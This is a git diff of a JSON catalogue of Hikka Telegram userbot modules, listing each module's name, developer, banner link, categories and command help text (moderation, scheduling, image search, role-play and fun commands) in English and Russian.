- send_games;\n6 - send_inline; 7 - embed_link_previews; 8 - send_polls; 9 - change_info; a - invite_users; b - pin_messages.\nPrepend rights with `r` to restrict user from using such media. Add `del`, `delete` after time to\ndelete the message." + }, + { + "unmutecmd": "/unmute [username | ID | reply]\nUnmute a user, so he'll be able to send messages again." + }, + { + "unbancmd": "/unban [username | ID | reply]\nUnban a user, so he'll be able to return to the chat." + }, + { + "unwarncmd": "/unwarn [username | ID | reply] ['all']\nRemove a warn from a user. If 'all' is specified, all warns will be removed." + }, + { + "nomediacmd": "/nomedia [username | ID | reply] [time]\n[reason]\nRestrict a user from sending all media types (sr Abbr.: `r234567`) for a specified time. Add `del`, `delete` or\n`d` after time to delete the message." + }, + { + "allowmediacmd": "/allowmedia [username | ID | reply]\nAllow a user to send media again." + }, + { + "newnetcmd": "/newnet [name]\nCreate a new chat network." + }, + { + "delnetcmd": "/delnet [name]\nDelete a chat network." + }, + { + "addchatcmd": "/addchat [name]\nAdd a chat to a network." + }, + { + "rmchatcmd": "/rmchat\nRemove a chat from a network." + }, + { + "netlistcmd": "/netlist\nList all chat networks." + }, + { + "nbancmd": "/nban [username | ID | reply] [time]\n[reason]\nBan a user from all chats in a network. Add `del`, `delete` after time to delete the message." + }, + { + "nunbancmd": "/nunban [username | ID | reply]\nUnban a user from all chats in a network." + }, + { + "nmutecmd": "/nmute [username | ID | reply] [time]\n[reason]\nMute a user in all chats in a network Add `del`, `delete` after time to delete the message." + }, + { + "nunmutecmd": "/nunmute [username | ID | reply]\nUnmute a user in all chats in a network." + }, + { + "nsrcmd": "/nsr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user in all chats in a network. Add `del`, `delete` after time to delete the message." + }, + { + "dcmd": "/d [a[1-100] b[1-100]] | [reply]\nDelete messages in a chat. You can specify the amount of messages to delete (`a` — after, `b` — before)." + }, + { + "flushdacmd": "/flushda\nFlush all deleted accounts from the chat or channel." + }, + { + "nflushdacmd": "/nflushda\nFlush all deleted accounts from all chats in a network." + }, + { + "pincmd": "/pin [reply]\nPin a message in a chat." + }, + { + "unpincmd": "/unpin\nUnpin a message in a chat." + }, + { + "nochannelcmd": "/nochannel\nSwitch module to ban or not all channels from this chat when they appear." + }, + { + "cidcmd": "/cid\nGet the chat ID. If a reply is specified, gets the id of person who sent the message." + } + ], + "new_commands": [ + { + "mute": { + "ru_doc": null, + "en_doc": null, + "doc": "/mute [username | ID | reply] [time]\n[reason]\nMute a user for a specified time (sr Abbr:. `r1`). Add `del`, `delete` after time to delete the message." + } + }, + { + "kick": { + "ru_doc": null, + "en_doc": null, + "doc": "/kick [username | ID | reply]\n[reason]\nKick a user from the chat so he can return later. Add `del`, `delete` after command to delete the\nmessage." + } + }, + { + "ban": { + "ru_doc": null, + "en_doc": null, + "doc": "/ban [username | ID | reply] [time]\n[reason]\nBan a user from the chat (sr Abbr.: `r0`. The user won't be able to return until you unban him. Add `del`,\n`delete` after time to delete the message." + } + }, + { + "warn": { + "ru_doc": null, + "en_doc": null, + "doc": "/warn [username | ID | reply]\n[reason]\nWarn a user. If the user has too many warns, he will be restricted (you can set settings in config). Add `del`,\n`delete` after time to delete the message." + } + }, + { + "sr": { + "ru_doc": null, + "en_doc": null, + "doc": "/sr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user for a specified time.\nRights are a sequence of numbers from 0 to b:\n0 - view_messages; 1 - send_messages; 2 - send_media; 3 - send_stickers; 4 - send_gifs; 5 - send_games;\n6 - send_inline; 7 - embed_link_previews; 8 - send_polls; 9 - change_info; a - invite_users; b - pin_messages.\nPrepend rights with `r` to restrict user from using such media. Add `del`, `delete` after time to\ndelete the message." + } + }, + { + "unmute": { + "ru_doc": null, + "en_doc": null, + "doc": "/unmute [username | ID | reply]\nUnmute a user, so he'll be able to send messages again." + } + }, + { + "unban": { + "ru_doc": null, + "en_doc": null, + "doc": "/unban [username | ID | reply]\nUnban a user, so he'll be able to return to the chat." + } + }, + { + "unwarn": { + "ru_doc": null, + "en_doc": null, + "doc": "/unwarn [username | ID | reply] ['all']\nRemove a warn from a user. If 'all' is specified, all warns will be removed." + } + }, + { + "nomedia": { + "ru_doc": null, + "en_doc": null, + "doc": "/nomedia [username | ID | reply] [time]\n[reason]\nRestrict a user from sending all media types (sr Abbr.: `r234567`) for a specified time. Add `del`, `delete` or\n`d` after time to delete the message." + } + }, + { + "allowmedia": { + "ru_doc": null, + "en_doc": null, + "doc": "/allowmedia [username | ID | reply]\nAllow a user to send media again." + } + }, + { + "newnet": { + "ru_doc": null, + "en_doc": null, + "doc": "/newnet [name]\nCreate a new chat network." + } + }, + { + "delnet": { + "ru_doc": null, + "en_doc": null, + "doc": "/delnet [name]\nDelete a chat network." + } + }, + { + "addchat": { + "ru_doc": null, + "en_doc": null, + "doc": "/addchat [name]\nAdd a chat to a network." + } + }, + { + "rmchat": { + "ru_doc": null, + "en_doc": null, + "doc": "/rmchat\nRemove a chat from a network." + } + }, + { + "netlist": { + "ru_doc": null, + "en_doc": null, + "doc": "/netlist\nList all chat networks." + } + }, + { + "nban": { + "ru_doc": null, + "en_doc": null, + "doc": "/nban [username | ID | reply] [time]\n[reason]\nBan a user from all chats in a network. Add `del`, `delete` after time to delete the message." + } + }, + { + "nunban": { + "ru_doc": null, + "en_doc": null, + "doc": "/nunban [username | ID | reply]\nUnban a user from all chats in a network." + } + }, + { + "nmute": { + "ru_doc": null, + "en_doc": null, + "doc": "/nmute [username | ID | reply] [time]\n[reason]\nMute a user in all chats in a network Add `del`, `delete` after time to delete the message." + } + }, + { + "nunmute": { + "ru_doc": null, + "en_doc": null, + "doc": "/nunmute [username | ID | reply]\nUnmute a user in all chats in a network." + } + }, + { + "nsr": { + "ru_doc": null, + "en_doc": null, + "doc": "/nsr [username | ID | reply] [rights] [time]\n[reason]\nSet rights for a user in all chats in a network. Add `del`, `delete` after time to delete the message." + } + }, + { + "d": { + "ru_doc": null, + "en_doc": null, + "doc": "/d [a[1-100] b[1-100]] | [reply]\nDelete messages in a chat. You can specify the amount of messages to delete (`a` — after, `b` — before)." + } + }, + { + "flushda": { + "ru_doc": null, + "en_doc": null, + "doc": "/flushda\nFlush all deleted accounts from the chat or channel." + } + }, + { + "nflushda": { + "ru_doc": null, + "en_doc": null, + "doc": "/nflushda\nFlush all deleted accounts from all chats in a network." + } + }, + { + "pin": { + "ru_doc": null, + "en_doc": null, + "doc": "/pin [reply]\nPin a message in a chat." + } + }, + { + "unpin": { + "ru_doc": null, + "en_doc": null, + "doc": "/unpin\nUnpin a message in a chat." + } + }, + { + "nochannel": { + "ru_doc": null, + "en_doc": null, + "doc": "/nochannel\nSwitch module to ban or not all channels from this chat when they appear." + } + }, + { + "cid": { + "ru_doc": null, + "en_doc": null, + "doc": "/cid\nGet the chat ID. If a reply is specified, gets the id of person who sent the message." + } + } + ], + "category": [ + "Chat", + "Games" + ] + }, + "GD-alt/mm-hikka-mods/MMAS.py": { + "name": "MMASMod", + "description": "Protects your account from spam if anyone accessed your account/session.", + "meta": { + "pic": "https://img.icons8.com/stickers/344/block.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "mmascmd": "Toggle the module." + }, + { + "mmaslimitcmd": "Get or set the limit of same messages sent by you." + } + ], + "new_commands": [ + { + "mmas": { + "ru_doc": null, + "en_doc": null, + "doc": "Toggle the module." + } + }, + { + "mmaslimit": { + "ru_doc": null, + "en_doc": null, + "doc": "Get or set the limit of same messages sent by you." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GD-alt/mm-hikka-mods/Grapes.py": { + "name": "GrapesMod", + "description": "Searching for random pic for your query. Original version/idea: Fl1yd.", + "meta": { + "pic": "https://img.icons8.com/emoji/344/grapes-emoji.png", + "banner": null, + "developer": "@mm_mods, original by Fl1yd" + }, + "commands": [ + { + "piccmd": "Searching for pics in Yandex." + }, + { + "dpiccmd": "Searching for pics in DuckDuckGo." + } + ], + "new_commands": [ + { + "pic": { + "ru_doc": null, + "en_doc": null, + "doc": "Searching for pics in Yandex." + } + }, + { + "dpic": { + "ru_doc": null, + "en_doc": null, + "doc": "Searching for pics in DuckDuckGo." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GD-alt/mm-hikka-mods/Prodia.py": { + "name": "ProdiaMod", + "description": "Image generator based on Prodia API. No API key required.", + "meta": { + "pic": "https://img.icons8.com/?size=512&id=17387&format=png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "prodiacmd": "Generate an image using Prodia API." + } + ], + "new_commands": [ + { + "prodia": { + "ru_doc": null, + "en_doc": null, + "doc": "Generate an image using Prodia API." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GD-alt/mm-hikka-mods/Holidays.py": { + "name": "HolidaysMod", + "description": "Holidays today.", + "meta": { + "pic": "https://img.icons8.com/stickers/344/calendar.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "hollistcmd": "Shows holiday list." + } + ], + "new_commands": [ + { + "hollist": { + "ru_doc": null, + "en_doc": null, + "doc": "Shows holiday list." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/asap.py": { + "name": "ASAPMod", + "description": "Advanced Sending Automatisation Program", + "meta": { + "pic": "https://img.icons8.com/stickers/344/block.png", + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "ataskaddcmd": "Add a task to the list of tasks.\nUsage: .ataskadd <text>\n[time]\n[target] Добавить задачу в список задач.\nИспользование: .ataskadd <текст>\n[время]\n[адресат]" + }, + { + "ataskremovecmd": "Remove a task from the list of tasks.\nUsage: .ataskremove <number> Удалить задачу из списка задач.\nИспользование: .ataskremove <номер>" + }, + { + "atasklistcmd": "Show the list of tasks. Показать список задач." + }, + { + "ataskclearcmd": "Clear the list of tasks. Очистить список задач." + }, + { + "ataskpausecmd": "Pause a task.\nUsage: .ataskpause <number>\nIf no arguments — pause all tasks. Приостановить задачу.\nИспользование: .ataskpause <номер>\nБез аргументов — приостановить все задачи." + }, + { + "ataskresumecmd": "Resume a task.\nUsage: .ataskresume <number> Возобновить задачу.\nИспользование: .ataskresume <номер>" + }, + { + "ataskexeccmd": "Execute a task right now and replan according to the interval.\nUsage: .ataskexec <number> Выполнить задачу сейчас и перепланировать согласно интервалу.\nИспользование: .ataskexec <номер>" + }, + { + "ataskreplancmd": "Change the interval of the task.\nUsage: .ataskreplan <number> Изменить интервал задачи.\nИспользование: .ataskreplan <номер> <время>" + }, + { + "adeftintcmd": "Set the default interval.\nUsage: .ataskdeftint <time> Установить интервал по умолчанию.\nИспользование: .adeftint <время>" + }, + { + "atzcmd": "Set the timezone explicitly if time displayed wrong.\nUsage: .atz <timezone> Явно установить часовой пояс, если время отображается неверно.\nИспользование: .atz <часовой пояс>" + } + ], + "new_commands": [ + { + "ataskadd": { + "ru_doc": "Добавить задачу в список задач.\nИспользование: .ataskadd <текст>\n[время]\n[адресат]", + "en_doc": null, + "doc": "Add a task to the list of tasks.\nUsage: .ataskadd <text>\n[time]\n[target]" + } + }, + { + "ataskremove": { + "ru_doc": "Удалить задачу из списка задач.\nИспользование: .ataskremove <номер>", + "en_doc": null, + "doc": "Remove a task from the list of tasks.\nUsage: .ataskremove <number>" + } + }, + { + "atasklist": { + "ru_doc": "Показать список задач.", + "en_doc": null, + "doc": "Show the list of tasks." + } + }, + { + "ataskclear": { + "ru_doc": "Очистить список задач.", + "en_doc": null, + "doc": "Clear the list of tasks." + } + }, + { + "ataskpause": { + "ru_doc": "Приостановить задачу.\nИспользование: .ataskpause <номер>\nБез аргументов — приостановить все задачи.", + "en_doc": null, + "doc": "Pause a task.\nUsage: .ataskpause <number>\nIf no arguments — pause all tasks." + } + }, + { + "ataskresume": { + "ru_doc": "Возобновить задачу.\nИспользование: .ataskresume <номер>", + "en_doc": null, + "doc": "Resume a task.\nUsage: .ataskresume <number>" + } + }, + { + "ataskexec": { + "ru_doc": "Выполнить задачу сейчас и перепланировать согласно интервалу.\nИспользование: .ataskexec <номер>", + "en_doc": null, + "doc": "Execute a task right now and replan according to the interval.\nUsage: .ataskexec <number>" + } + }, + { + "ataskreplan": { + "ru_doc": "Изменить интервал задачи.\nИспользование: .ataskreplan <номер> <время>", + "en_doc": null, + "doc": "Change the interval of the task.\nUsage: .ataskreplan <number>" + } + }, + { + "adeftint": { + "ru_doc": "Установить интервал по умолчанию.\nИспользование: .adeftint <время>", + "en_doc": null, + "doc": "Set the default interval.\nUsage: .ataskdeftint <time>" + } + }, + { + "atz": { + "ru_doc": "Явно установить часовой пояс, если время отображается неверно.\nИспользование: .atz <часовой пояс>", + "en_doc": null, + "doc": "Set the timezone explicitly if time displayed wrong.\nUsage: .atz <timezone>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GD-alt/mm-hikka-mods/LiMERPMod.py": { + "name": "RPMod", + "description": "A little upgraded mod of module of @trololo_1.", + "meta": { + "pic": null, + "banner": null, + "developer": "@mm_mods" + }, + "commands": [ + { + "dobrpcmd": "Use: .dobrp (command) / (action) / (emoji) to add command. You can do it without emoji." + }, + { + "addrpcmd": "dobrp alias." + }, + { + "delrpcmd": "Use: .delrp (command) to delete command.\nUse: .delrp all to delete all commands." + }, + { + "rptogglecmd": "Use: .rptoggle to turn on/off RP mode." + }, + { + "rplistcmd": "Use: .rplist to see list of RP commands." + }, + { + "rpnickcmd": "Use: .rpnick (nick) to change nick to user or yourself." + }, + { + "rpnickscmd": "Use: .rpnicks to see list of nicknames." + }, + { + "orpbackcmd": "Backup RP commands (old fashioned method).\nUse as reply to file with commands to load them or use without\narguments to back up them." + }, + { + "rpbackcmd": "New way to backup RP commands. Use as reply to file with commands to load them or use without arguments to back up them." + }, + { + "rpblockcmd": "Use: .rpblock to add/remove exception (use in needed chat).\nUse: .rpblock list to see exceptions.\nUse .rpblock (id) to remove chat from exceptions." + }, + { + "useracceptcmd": "Adding/removing users/chats, allowed to use your commands.\n.useraccept {id/reply}\nTo add chat use without reply and args. Use with -l (L) to see list of users/chats." + }, + { + "mmminfocmd": "Read mod information and updates." + }, + { + "rpchatscmd": "Use: .rpchats to see list of chats where RP commands are allowed." + } + ], + "new_commands": [ + { + "dobrp": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .dobrp (command) / (action) / (emoji) to add command. You can do it without emoji." + } + }, + { + "addrp": { + "ru_doc": null, + "en_doc": null, + "doc": "dobrp alias." + } + }, + { + "delrp": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .delrp (command) to delete command.\nUse: .delrp all to delete all commands." + } + }, + { + "rptoggle": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .rptoggle to turn on/off RP mode." + } + }, + { + "rplist": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .rplist to see list of RP commands." + } + }, + { + "rpnick": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .rpnick (nick) to change nick to user or yourself." + } + }, + { + "rpnicks": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .rpnicks to see list of nicknames." + } + }, + { + "orpback": { + "ru_doc": null, + "en_doc": null, + "doc": "Backup RP commands (old fashioned method).\nUse as reply to file with commands to load them or use without\narguments to back up them." + } + }, + { + "rpback": { + "ru_doc": null, + "en_doc": null, + "doc": "New way to backup RP commands. Use as reply to file with commands to load them or use without arguments to back up them." + } + }, + { + "rpblock": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .rpblock to add/remove exception (use in needed chat).\nUse: .rpblock list to see exceptions.\nUse .rpblock (id) to remove chat from exceptions." + } + }, + { + "useraccept": { + "ru_doc": null, + "en_doc": null, + "doc": "Adding/removing users/chats, allowed to use your commands.\n.useraccept {id/reply}\nTo add chat use without reply and args. Use with -l (L) to see list of users/chats." + } + }, + { + "mmminfo": { + "ru_doc": null, + "en_doc": null, + "doc": "Read mod information and updates." + } + }, + { + "rpchats": { + "ru_doc": null, + "en_doc": null, + "doc": "Use: .rpchats to see list of chats where RP commands are allowed." + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "shadowhikka/sh.modules/RandomMemes.py": { + "name": "RandomMemesMod", + "description": "RandomMemes", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/nw5hP8P.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "randmemescmd": "See random memes" + } + ], + "new_commands": [ + { + "randmemes": { + "ru_doc": null, + "en_doc": null, + "doc": "See random memes" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/FoxAndDogsGallery.py": { + "name": "FoxGalerryMod", + "description": "🦊 Foxes, Dogs 🐶", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/nZalKg2.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "foxescmd": "🦊 Sending photos with foxes" + }, + { + "dogscmd": "🐶 Sending photos with dogs" + }, + { + "randomcdfcmd": "Photos of dogs 🐶 and foxes 🦊" + } + ], + "new_commands": [ + { + "foxes": { + "ru_doc": null, + "en_doc": null, + "doc": "🦊 Sending photos with foxes" + } + }, + { + "dogs": { + "ru_doc": null, + "en_doc": null, + "doc": "🐶 Sending photos with dogs" + } + }, + { + "randomcdf": { + "ru_doc": null, + "en_doc": null, + "doc": "Photos of dogs 🐶 and foxes 🦊" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "shadowhikka/sh.modules/100Percent.py": { + "name": "PercentMod", + "description": "Create your text with inline percentages", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/g7yk55s.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "percentcmd": "<Text with percentages> <Text at the end> [interval] -> For creating <Текст с процентами> <Текст в конце> [интервал] -> Для создания" + } + ], + "new_commands": [ + { + "percent": { + "ru_doc": "<Текст с процентами> <Текст в конце> [интервал] -> Для создания", + "en_doc": null, + "doc": "<Text with percentages> <Text at the end> [interval] -> For creating" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/CheckerUsernames.py": { + "name": "CheckerUsernamesMod", + "description": "Check of avaliable usernames", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/aGGx93G.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "cusercmd": "Off/On checker username" + }, + { + "timezonescmd": "All timezones for config" + } + ], + "new_commands": [ + { + "cuser": { + "ru_doc": null, + "en_doc": null, + "doc": "Off/On checker username" + } + }, + { + "timezones": { + "ru_doc": null, + "en_doc": null, + "doc": "All timezones for config" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/ConvertTime.py": { + "name": "ConvertTimeMod", + "description": "Convert time in days, hours, minutes and seconds", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/KiCMAfX.jpg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "ctimecmd": "ctime <int: time for convert>" + } + ], + "new_commands": [ + { + "ctime": { + "ru_doc": null, + "en_doc": null, + "doc": "ctime <int: time for convert>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/trysamp.py": { + "name": "TrySampMod", + "description": "Try such as in samp", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/aGGx93G.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "trycmd": "try you luck" + } + ], + "new_commands": [ + { + "try": { + "ru_doc": null, + "en_doc": null, + "doc": "try you luck" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/InlineVizitka.py": { + "name": "InlineVizitkaMod", + "description": "You information in inline vizitka", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/SbLqMlM.jpeg", + "developer": "@shadow_modules, @dan_endy, @hikarimods" + }, + "commands": [ + { + "vizitkacmd": "Command for displaying a business card" + }, + { + "vizinfocmd": "" + } + ], + "new_commands": [ + { + "vizitka": { + "ru_doc": null, + "en_doc": null, + "doc": "Command for displaying a business card" + } + }, + { + "vizinfo": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/StickerDownload.py": { + "name": "StickerDownloadMod", + "description": "Sticker Downloader", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/1UnAXNf.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "stickdowncmd": "stickdown <reply for sticker>" + } + ], + "new_commands": [ + { + "stickdown": { + "ru_doc": null, + "en_doc": null, + "doc": "stickdown <reply for sticker>" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "shadowhikka/sh.modules/NewsLetter.py": { + "name": "NewsLetterMod", + "description": "newsletter for chats", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/Hy9ABNY.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "sendnewscmd": "<message> or reply" + }, + { + "newsdelaycmd": "Delayed mailing and photos" + } + ], + "new_commands": [ + { + "sendnews": { + "ru_doc": null, + "en_doc": null, + "doc": "<message> or reply" + } + }, + { + "newsdelay": { + "ru_doc": null, + "en_doc": null, + "doc": "Delayed mailing and photos" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/GPT2.py": { + "name": "GPT2Mod", + "description": "ChatGPT в модуле", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/fdEskim.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "gptcmd": ".gpt <args>" + } + ], + "new_commands": [ + { + "gpt": { + "ru_doc": null, + "en_doc": null, + "doc": ".gpt <args>" + } + } + ], + "category": [ + "Info", + "Tools" + ] + }, + "shadowhikka/sh.modules/VulgarStories.py": { + "name": "VulgarStories", + "description": "VulgarStories", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/GqPSdtT.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "vstorcmd": "Vulgar Stories for geys." + } + ], + "new_commands": [ + { + "vstor": { + "ru_doc": null, + "en_doc": null, + "doc": "Vulgar Stories for geys." + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "shadowhikka/sh.modules/GForYou.py": { + "name": "GYForYouMod", + "description": "Погуглю за тебя", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/pmh9eAE.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "googlecmd": "<args>" + } + ], + "new_commands": [ + { + "google": { + "ru_doc": null, + "en_doc": null, + "doc": "<args>" + } + } + ], + "category": [ + "Info", + "Tools" + ] + }, + "shadowhikka/sh.modules/VKInline.py": { + "name": "VKInlineMod", + "description": "Your vk in inline", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/8prGakZ.jpeg", + "developer": "@shadow_modules, @dan_endy" + }, + "commands": [ + { + "myvkcmd": "The command to display your VK" + } + ], + "new_commands": [ + { + "myvk": { + "ru_doc": null, + "en_doc": null, + "doc": "The command to display your VK" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "shadowhikka/sh.modules/TableInfo.py": { + "name": "TableMod", + "description": "Information in parents", + "meta": { + "pic": null, + "banner": "https://i.imgur.com/GLgp9u1.jpeg", + "developer": "@shadow_modules" + }, + "commands": [ + { + "tableaddcmd": "" + } + ], + "new_commands": [ + { + "tableadd": { "ru_doc": null, "en_doc": null, "doc": null @@ -1345,26 +6188,25 @@ "Fun" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/gamecheat.py": { - "name": "GameeCheatMod", - "description": "Читы для игр в @gamee", + "shadowhikka/sh.modules/MyVizitka.py": { + "name": "MyVizitkaMod", + "description": null, "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/GameeCheat.jpg", - "developer": "@astromodules", - "designer": "@XizurK" + "banner": "https://i.imgur.com/4aQGHmR.jpeg", + "developer": "@shadow_modules" }, "commands": [ { - "chg": "<ссылка> <рекорд> - запустить чит" + "myvizitcmd": "Command for displaying a business card" } ], "new_commands": [ { - "chg": { + "myvizit": { "ru_doc": null, "en_doc": null, - "doc": "<ссылка> <рекорд> - запустить чит" + "doc": "Command for displaying a business card" } } ], @@ -1373,385 +6215,137 @@ "Chat" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/RandomUser.py": { - "name": "RandomUserMod", - "description": "choose a random user in chat\nAutors: @AstroModules & @smeowcodes", + "shadowhikka/sh.modules/HentaiManga.py": { + "name": "HentaiMangaMod", + "description": null, "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/RandomUser.jpg", - "developer": "@AstroModules" + "banner": "https://i.imgur.com/8UYznku.jpeg", + "developer": "@shadow_modules, @toxicuse, @vsecoder" }, "commands": [ { - "irandusercmd": "choose a random user in chat | inline menu with prize buttons --> выбрать случайного пользователя в чате | inline-меню с призовыми кнопками" + "rnd_hentai_mangacmd": "{hentai_api_name: optional} - рандомная хентай-манга" + }, + { + "get_hentai_mangacmd": "{hentai_api_name} {id} - получить хентай-мангу" } ], "new_commands": [ { - "iranduser": { - "ru_doc": "--> выбрать случайного пользователя в чате | inline-меню с призовыми кнопками", + "rnd_hentai_manga": { + "ru_doc": null, "en_doc": null, - "doc": "choose a random user in chat | inline menu with prize buttons" + "doc": "{hentai_api_name: optional} - рандомная хентай-манга" + } + }, + { + "get_hentai_manga": { + "ru_doc": null, + "en_doc": null, + "doc": "{hentai_api_name} {id} - получить хентай-мангу" } } ], "category": [ - "Chat", + "Tools", + "Fun" + ] + }, + "MuRuLOSE/HikkaModulesRepo/FindID.py": { + "name": "FirstID", + "description": "Find the first ID", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "findid": "- [Число с которого начинать] - Поиск ID" + } + ], + "new_commands": [ + { + "findid": { + "ru_doc": null, + "en_doc": null, + "doc": "- [Число с которого начинать] - Поиск ID" + } + } + ], + "category": [ + "Admin", "Tools" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/astroweather.py": { - "name": "AstroWeatherMod", - "description": "Модуль для получения информации о погоде в Вашем городе, в красивом формате", + "MuRuLOSE/HikkaModulesRepo/NasaImages.py": { + "name": "NasaImages", + "description": "Images from Nasa website", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroWeather.jpg", - "developer": "@AstroModules" + "banner": "https://0x0.st/HgMS.jpg", + "desc": "Images from Nasa website", + "developer": "@BruhHikkaModules" }, "commands": [ { - "aw": "<город> - узнать погоду в указанном городе" + "randomcosmosphoto": "- Get random photo from Nasa website - Получите случайное фото с вебсайта наса " + }, + { + "todaycosmocpic": "- Today astronomic picture - Сегодняшее астрономическое фото " } ], "new_commands": [ { - "aw": { - "ru_doc": null, + "randomcosmosphoto": { + "ru_doc": " - Получите случайное фото с вебсайта наса ", "en_doc": null, - "doc": "<город> - узнать погоду в указанном городе" + "doc": "- Get random photo from Nasa website" + } + }, + { + "todaycosmocpic": { + "ru_doc": " - Сегодняшее астрономическое фото ", + "en_doc": null, + "doc": "- Today astronomic picture" } } ], "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/dialogs_manager.py": { - "name": "DialogsManagerMod", - "description": "Check your all info for dialogs, chats, PMs\nDelete definite dialog,\ndelete all dialogs by arguments,\nleave the chats, ids/usernames which you specify\nDialogs Manager!", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/DialogsManager.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "dialogsinfo": "➪ all info for your dialogs, chats, PMs... ➪ полная информация о ваших диалогах, чатах лс и т.д." - }, - { - "dialog_clear": "<id or @username> ➪ delete dialog with user <id or @username> ➪ удалить чат(диалог) с юзером" - }, - { - "dclear": "➪ alias for command 'dialog_clear' ➪ алиас для команды 'dialogs_clear'" - }, - { - "all_dialogs_clear": "Arguments:\n-deleted ➪ delete all dialogs PM with deleted accounts\n-fake ➪ delete all dialogs PM with fake accounts\n-scam ➪ delete all dialogs PM with scam accounts\n-bots ➪ delete all dialog with bots\n-allpms ➪ delete all dialogs PM\n-prem ➪ delete all dialogs PM with PREMIUM⭐️ users Аргументы:\n\t\t-deleted ➪ очистить все ЛС с удаленными аккаунтами\n\t\t-fake ➪ очистить все ЛС с аккаунтами с пометкой \"FAKE\"\n\t\t-scam ➪ очистить все ЛС со скам аккаунтами\n\t\t-bots ➪ очистить все ЛС с ботами\n\t\t-allpms ➪ очистить ВСЕ АБСОЛЮТНО ЛС(ОПАСНО)\n\t\t-prem ➪ очистить все ЛС с юзерами, обладающими Premium⭐️\n\t\t" - }, - { - "leave_chats": "@chat_username1, @chat_username2, ... ➪ leave chats, with usernames in arguments @chat_username1, @chat_username2, ... ➪ покинуть чаты, с определенными @username" - } - ], - "new_commands": [ - { - "dialogsinfo": { - "ru_doc": "➪ полная информация о ваших диалогах, чатах лс и т.д.", - "en_doc": null, - "doc": "➪ all info for your dialogs, chats, PMs..." - } - }, - { - "dialog_clear": { - "ru_doc": "<id or @username> ➪ удалить чат(диалог) с юзером", - "en_doc": null, - "doc": "<id or @username> ➪ delete dialog with user" - } - }, - { - "dclear": { - "ru_doc": "➪ алиас для команды 'dialogs_clear'", - "en_doc": null, - "doc": "➪ alias for command 'dialog_clear'" - } - }, - { - "all_dialogs_clear": { - "ru_doc": "Аргументы:\n\t\t-deleted ➪ очистить все ЛС с удаленными аккаунтами\n\t\t-fake ➪ очистить все ЛС с аккаунтами с пометкой \"FAKE\"\n\t\t-scam ➪ очистить все ЛС со скам аккаунтами\n\t\t-bots ➪ очистить все ЛС с ботами\n\t\t-allpms ➪ очистить ВСЕ АБСОЛЮТНО ЛС(ОПАСНО)\n\t\t-prem 